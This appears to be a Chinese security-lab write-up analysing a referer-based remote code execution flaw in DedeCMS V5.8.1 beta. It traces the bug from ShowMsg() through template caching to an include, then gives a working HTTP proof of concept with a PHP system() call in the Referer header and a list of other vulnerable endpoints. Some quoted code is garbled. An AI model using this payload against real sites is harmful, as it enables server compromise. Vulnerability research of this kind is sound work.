0x01 背景
Dedecms V5.8.1 bate存在前端RCE,并且利用简单,对于这种有趣的,高质量的RCE很感兴趣于是进行复现分析后有了这篇文章。
注:Dedecms源码已经开发,并且本次分析均在本地环境测试,文章仅记录分享,不得用于任何非法活动。
0x02 环境搭建
下载Dedecms:
https://github.com/dedecms/DedeCMS/releases/tag/v5.8.1
0x03 源码分析
漏洞利用链整体分析:
1、定位include/common.func.php中的ShowMsg()方法:
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
if (empty($GLOBALS['cfg_plus_dir'])) {
$GLOBALS['cfg_plus_dir'] = '..';
}
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
$htmlhead = "html内容" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "html内容";
$htmlfoot = "html内容";
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
if ($gourl == '-1') {
if ($limittime == 0) {
$litime = 3000;
}
$gourl = "javascript:history.go(-1);";
}
if ($gourl == '' || $onlymsg == 1) {
$msg = "";
} else {
//当网址为:close::objname 时, 关闭父框架的id=objname元素
if (preg_match('/close::/', $gourl)) {
$tgobj = trim(preg_replace('/close::/', '', $gourl));
$gourl = 'javascript:;';
$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n"; } $func .= "var pgo=0; function JumpUrl(){ if(pgo==0){ location='$gourl'; pgo=1; } }\r\n"; $rmsg = $func; $rmsg .= "document.write(\"
\");\r\n";
$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
$rmsg .= "document.write(\"";
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "如果你的浏览器没反应,请点击这里..." \");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
$rmsg .= "\");\r\n";
}
} else {
$rmsg .= "\");\r\n";
}
$msg = $htmlhead . $rmsg . $htmlfoot; }
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
}
此方法在gourl=-1时referer中的内容会被赋值给gourl
最后通过DedeTemplate类生产对象$tpl并且将referer输入到LoadString()方法
并且用Display()方法生产模板,因此referer是可控注入点
2、查看LoadString()方法:
public function LoadString($str = '')
{
$this->sourceString = $str;
$hashcode = md5($this->sourceString);
$this->cacheFile = $this->cacheDir . "/string_" . $hashcode . ".inc";
$this->configFile = $this->cacheDir . "/string_" . $hashcode . "_config.inc";
$this->ParseTemplate();
}
Referer的内容在LoadString()方法中被赋给了$this->sourceString中,并将referer内容MD5;
加密后设置为模板文件:md5($this->sourceString).inc,并且定义路径
$this->configFile= $this->cacheDir . "/string_" . md5($this->sourceString).inc
因此在loadingString方法中,通过MD5加密referer内容定位模板文件名。
3、定位$tpl对象调用的Display()方法
public function Display()
{
global $gtmpfile;
extract($GLOBALS, EXTR_SKIP);
$this->WriteCache();
echo $this->cacheFile; /**这里的echo是我本人添加的,在触发漏洞后echo出模板路径*/
include $this->cacheFile;
}
Display方法首先调用了WriteCache()方法,对LoadingString()方法中定义的$this->cacheFile文件进行编辑,并且在最后include出来。
4、查看WriteCache()方法:
public function WriteCache($ctype = 'all')
{
if (!file_exists($this->cacheFile) || $this->isCache == false || (file_exists($this->templateFile) && (filemtime($this->templateFile) > filemtime($this->cacheFile))) ) {
if (!$this->isParse) {
$this->ParseTemplate();
}
$fp = fopen($this->cacheFile, 'w') or dir("Write Cache File Error! ");
flock($fp, 3);
$result = trim($this->GetResult());
$errmsg = '';
//var_dump($result);exit();
if (!$this->CheckDisabledFunctions($result, $errmsg)) {
fclose($fp);
@unlink($this->cacheFile);
die($errmsg);
}
fwrite($fp, $result);
fclose($fp);
if (count($this->tpCfgs) > 0) {
$fp = fopen($this->configFile, 'w') or dir("Write Config File Error! ");
flock($fp, 3);
fwrite($fp, 'tpCfgs as $k => $v) {
$v = str_replace("\"", "\\\"", $v);
$v = str_replace("\$", "\\\$", $v);
fwrite($fp, "\$this->tpCfgs['$k']=\"$v\";\r\n");
}
fwrite($fp, '?' . '>');
fclose($fp);
}
}
通过GetResult()方法获取referer内容赋值给$result :
public function GetResult()
{
if (!$this->isParse) {
$this->ParseTemplate();
}
$addset = '';
$addset .= '';
return preg_replace("/\?" . ">[ \r\n\t]{0,}sourceString); }
调用 CheckDisableFunctions 方法将$result传入方法进行判断。
5、查看CheckDisabledFunctions()方法
public function CheckDisabledFunctions($str, &$errmsg = '')
{
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec, curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite'; // 模板引擎增加disable_functions
if (!defined('DEDEDISFUN')) {
echo "aaaaaaaaaaaaaa";/*本人自己添加,如果进入if就echo出aaaaaa**/
$tokens = token_get_all_nl($str);
$disabled_functions = explode(',', $cfg_disable_funs);
foreach ($tokens as $token) {
if (is_array($token)) {
if ($token[0] = '306' && in_array($token[1], $disabled_functions)) {
$errmsg = 'DedeCMS Error:function disabled "' . $token[1] . '" more...';
return false;
}
}
}
}
return true;
}
在这个checkdisablefunctions方法中,发现如果进入了if,那么就会对referer输出的内容进行判断。但是如果存在DEDEISFUN常量就可以跳出if,实验发现在未登录状态DEDEISFUN存在。
看见在没有cookie的情况下,执行了ifconfig,但是没有出现aaaaaaaa字符,因此可以判断没有进入if,所有system没有被checkdisablesfunction过滤。
6、CheckDisabledFunction()方法判断
if (!$this->CheckDisabledFunctions($result, $errmsg)) {
fclose($fp);
@unlink($this->cacheFile);
die($errmsg);
}
fwrite($fp, $result);
fclose($fp);
在CheckDisabledFunction()方法判断,如果没有通过CheckDisables的检测会将$this->cacheFile文件删除。
如果通过了CheckDisablesFunction检测就会将result中的referer写入到result中的referer写入到result中的referer写入到this->cacheFile
7、代码分析
通过上述过程将恶意内容写入到$this->cacheFile中,并且通过Display()方法中include出来:
echo $this->cacheFile; /**这里的echo是我本人添加的,在触发漏洞后echo出模板路径*/
include $this->cacheFile;
代码分析结束,由此可见,echo出的$this->cacheFile模板文件路径,并且执行了其中的ls命令。
0x04 POC
GET /plus/flink.php?dopost=save HTTP/1.1
Host: cc.dedecms.com:93
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Referer:<?php "system"(ls);?>
可利用路径(部分)
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
0x05 总结
本次分析发现命令执行的方式并非简简单单的eval(),exec(),shell_exec()等函数的思路,类似这篇文章,很多CMS都会存在Cache缓存文件,或者通过TMP模板自动生产一个PHP等执行文件,那么如果在生成文件的过程,新文件中存在用户可控参数,在过滤不严的情况下就会造成命令执行:
1、存在写新可执行文件的方法
2、新文件其中有可控参数
3、新文件可访问,或者被include
满足以上三点可造成RCE,也算是挖掘RCE漏洞的一种新的思路。
声明
以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。
长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。